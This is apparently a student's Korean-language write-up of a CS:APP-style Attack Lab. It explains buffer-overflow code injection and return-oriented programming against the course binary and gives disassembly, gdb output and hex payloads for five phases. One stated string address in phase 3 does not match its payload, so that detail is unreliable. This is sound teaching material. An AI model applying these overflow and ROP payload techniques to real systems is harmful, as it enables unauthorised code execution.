<Attack lab>

202055516 김명서

Phase 1

Phase1은 getbuf를 통해서 입력을 받고 이때 return의 주소를 touch1으로 연결시켜 주기만 하면 된다.

```
0000000000040184f <getbuf>:
  40184f:       48 83 ec 28             sub    $0x28,%rsp
  401853:       48 89 e7                mov    %rsp,%rdi
  401856:       e8 7e 02 00 00          callq  401ad9 <Gets>
  40185b:       b8 01 00 00 00          mov    $0x1,%eax
  401860:       48 83 c4 28             add    $0x28,%rsp
  401864:       c3                      retq
```

```
0000000000401865 <touch1>:
  401865:       48 83 ec 08             sub    $0x8,%rsp
  401869:       c7 05 89 2c 20 00 01    movl   $0x1,0x202c89(%rip)
  401870:       00 00 00
```

먼저 함수 getbuf를 통해 입력 받는 문자의 수를 살펴보면 총 0x28 즉, 40자 임을 알 수 있다. 따라서 40개의 문자(아스키코드로)를 임의로 입력하고 뒤에 touch1의 시작 주소를 추가로 입력하여 return하고자 하는 주소를 덮어쓴다.

따라서 이를 바탕으로 target.p1을 작성하면 아래와 같다

```
00 01 02 03 04 05 06 07 08
09 10 11 12 13 14 15 16 17
18 19 20 21 22 23 24 25 26
27 28 29 30 31 32 33 34 35
36 37 38 39 /* enter 0x28 b
ytes in */ 65 18 40
~
```

Phase 2

```
0000000000401891 <touch2>:
  401891:       48 83 ec 08             sub    $0x8,%rsp
  401895:       89 fa                   mov    %edi,%edx
  401897:       c7 05 5b 2c 20 00 02    movl   $0x2,0x202c5b(%rip)        # 6044fc <vlevel>
  40189e:       00 00 00
  4018a1:       39 3d 5d 2c 20 00       cmp    %edi,0x202c5d(%rip)        # 604504 <cookie>
  4018a7:       74 28                   je     4018d1 <touch2+0x40>
```

```
0000000000040184f <getbuf>:
  40184f:       48 83 ec 28             sub    $0x28,%rsp
  401853:       48 89 e7                mov    %rsp,%rdi
  401856:       e8 7e 02 00 00          callq  401ad9 <Gets>
  40185b:       b8 01 00 00 00          mov    $0x1,%eax
  401860:       48 83 c4 28             add    $0x28,%rsp
  401864:       c3                      retq
```

Touch2의 함수를 살펴보면 호출 시 받은 인자를 %rdi에 저장하고 이를 cookie와 동일한지 비교한다. 또한 getbuf함수를 살펴보면 %rsp의 값이 %rdi에 저장되어 있음을 알 수 있다. 그래서

```
202055516@CSEDell:~/target7$ objdump -d buffer.o

buffer.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   68 91 18 40 00          pushq  $0x401891
   5:   bf 78 43 27 2d          mov    $0x2d274378,%edi
   a:   c3                      retq
```

```
202055516@CSEDell: ~/target7
0x2d274378
```

"1. cookie와 같은 값을 인자로 주기 2. Touch2함수 호출하기"의 과정으로 진행하였다.

입력을 저장하는 buffer에 위의 1,2를 수행하는 코드를 넣기 위해 어셈블리를 기계어로 번역하는 과정을 거쳤다. 위의 코드는 touch2의 주소를 push하고 %edi에 cookie값을 넣을 후 return하는 코드이다.

앞에서 구한 대로 40개의 문자 중 일부에 위의 기계어를 입력한 후 buffer의 주소를 추가적으

```
(gdb) info r
rax            0x0        0
rbx            0x55586000         1431855104
rcx            0x0        0
rdx            0x7ffff7dd18c0     140737351850176
rsi            0xc        12
rdi            0x5567e588         1432872328
```

로 입력하여 return하는 주소 위에 덮어 쓴다. Buffer의 주소는 getbuf 함수에서 살펴보면 %rsp 혹은 %rdi에 저장되어 있음을 알 수 있다. gdb를 통해 %rdi에 저장된 주소를 살펴보면 다음과 같다.

따라서 target.p2의 내용은 다음과 같다.

```
68 91 18 40 00 bf 78 43
27 2d c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 e5 67 55 00 00 00 00
```

 # Phase 3

```
11 void touch3(char *sval)
12 {
13     vlevel = 3;        /* Part of validation protocol */
14     if (hexmatch(cookie, sval)) {
15         printf("Touch3!: You called touch3(\"%s\")\n", sval);
16         validate(3);
17     } else {
18         printf("Misfire: You called touch3(\"%s\")\n", sval);
19         fail(3);
20     }
21     exit(0);
22 }
```

Touch3의 경우에는 touch2의 함수와 유사하지만 인자가 숫자가 아닌 char*의 타입 임을 알 수 있다. 따라서 2번에서의 과정과 유사하지만 %rdi에 입력해야하는 값은 쿠키 값에 해당하는 아스키로 변환한 값이다. Phase2를 생각해보면 입력을 통해서 인자와 touch2의 주소를 전달하였고, buffer의 주소를 추가로 입력하여 return의 주소를 덮어 썼었다. Phase3에서도 마찬가지로 입력을 통해서 문자열 주소와 touch2의 주소를 전달하고, buffer의 주소와 쿠키에 해당하는 아스키 값을 추가적으로 입력하는 과정으로 진행하면 된다.

아스키 값이 입력 될 주소는 buffer을 담고 있는 주소(0x5567e588)보다 0x18byte 이후에 나오므로 0x5567e5a0이다.

```
0000000000000000 <.text>:
   0:   68 a2 19 40 00          pushq  $0x4019a2
   5:   bf a0 e5 67 55          mov    $0x5567e5a0,%edi
   a:   c3                      retq
```

쿠키의 값은 0x2d274378이고 이에 대응하는 아스키 값은 32 64 32 37 34 33 37 38이다. 따라서 target.p3의 내용은 다음과 같다.

```
68 a2 19 40 00 bf b8 e5
67 55 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 e5 67 55 00 00 00 00
32 64 32 37 34 33 37 38
```

 # Phase 4

코드 중에서 적절한 가젯을 찾아서 코드가 수행되도록 하면 된다. Phase2에서는 cookie에 해당하는 값을 rdi에 옮긴 후 touch2를 실행 시켰었다. 이번 문제에서 사용할 수 있는 명령어는 mov, pop, ret, nop 등이 있다. 그러면 pop을 이용해서 cookie의 값을 rdi로 옮긴 후 touch2로 return을 해주면 될 것 같다. Pop에 해당하는 명령어를 찾아보면 다음과 같이 있다.

```
0000000000401a4d <getval_397>:
  401a4d:       b8 58 90 90 90          mov    $0x90909058,%eax
  401a52:       c3                      retq
```

쿠키의 값을 바로 %rdi에 넣고 싶었는데 pop %rdi에 해당하는 가젯이 없어서 %rax에 쿠키값을 가진 주소를 저장한 후 %rax값을 %rdi로 옮기는 과정으로 진행하였다.

```
0000000000401a67 <getval_445>:
  401a67:       b8 60 48 89 c7          mov    $0xc7894860,%eax
  401a6c:       c3                      retq
```

그리고 return의 주소를 덮어 써서 touch2를 호출하도록 하였다. 따라서 target.p4를 작성하면 다음과 같다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
4e 1a 40 00 00 00 00 00
/*       pop %rax       */
78 43 27 2d 00 00 00 00
/*     cookie value     */
69 1a 40 00 00 00 00 00
/*    mov %rax, %rdi    */
91 18 40 00 00 00 00 00
/*         touch2       */
```

 # Phase 5

Phase3을 생각해보면 문자열을 담고 있는 주소의 위치가 필요했다. 하지만 phase5에서는 주소를 정확히 구하기 어려우므로 계산을 통해서 구해야 한다고 생각했다. rsp의 주소에 값을 더해 이동한 주소에 문자열의 위치가 있다고 생각해서 덧셈을 실행하는 코드를 살펴보니 add_xy라는 함수가 있었다.

```
0000000000401a7a <add_xy>:
  401a7a:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a7e:       c3                      retq
```

이 함수는 %rdi와 %rsi를 더해 %rax에 저장하는 함수로 %rsp를 %rdi에 옮기고 %rsp와 문자열 주소의 간격 만큼을 %rsi에 넣은 후 add_xy를 통해 문자열의 주소를 구하기로 하였다. rsp를 rdi로 바로 옮겨주는 가젯이 없어서 rsp를 rax에 저장하고 rax의 값을 rdi로 옮기는 코드들을 활용하였다.

```
0000000000401adb <getval_427>:
  401adb:       b8 48 89 e0 90          mov    $0x90e08948,%eax
  401ae0:       c3                      retq
```

```
0000000000401a46 <addval_453>:
  401a46:       8d 87 48 89 c7 90       lea    -0x6f3876b8(%rdi),%eax
  401a4c:       c3                      retq
```

또한 %rsp와 문자열 주소의 간격을 %rsi에 대입하는 가젯도 없어서 %eax에서 %edx로 옮긴 후 %edx에서 %ecx로, %ecx에서 %esi로 옮기는 추가적인 과정을 통해서 %rsi에 값을 넣을 수 있었다.

```
0000000000401a4d <getval_397>:
  401a4d:       b8 58 90 90 90          mov    $0x90909058,%eax
  401a52:       c3                      retq
```

```
0000000000401ac6 <addval_152>:
  401ac6:       8d 87 89 c2 38 c0       lea    -0x3fc73d77(%rdi),%eax
  401acc:       c3                      retq
```

```
0000000000401ae1 <addval_218>:
  401ae1:       8d 87 89 d1 20 db       lea    -0x24df2e77(%rdi),%eax
  401ae7:       c3                      retq
```

```
0000000000401aa0 <getval_104>:
  401aa0:       b8 89 ce 90 c3          mov    $0xc390ce89,%eax
  401aa5:       c3                      retq
```

add_xy의 결과가 %rax에 저장되었고 이 값을 다시 %rdi로 옮긴 후 touch3함수를 호출하였다. 그리고 3번 문제에서 구한 아스키로 표현한 쿠키 값도 입력해 주었다. 이렇게 작성한 후 %rsp와 문자열의 주소의 간격을 계산하면 0x20 차이가 남을 알 수 있다. 이를 정리하여 target.p5를 작성하면 다음과 같다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
4e 1a 40 00 00 00 00 00
20 00 00 00 00 00 00 00
c8 1a 40 00 00 00 00 00
e3 1a 40 00 00 00 00 00
a1 1a 40 00 00 00 00 00
dc 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
7a 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
32 64 32 37 34 33 37 38
```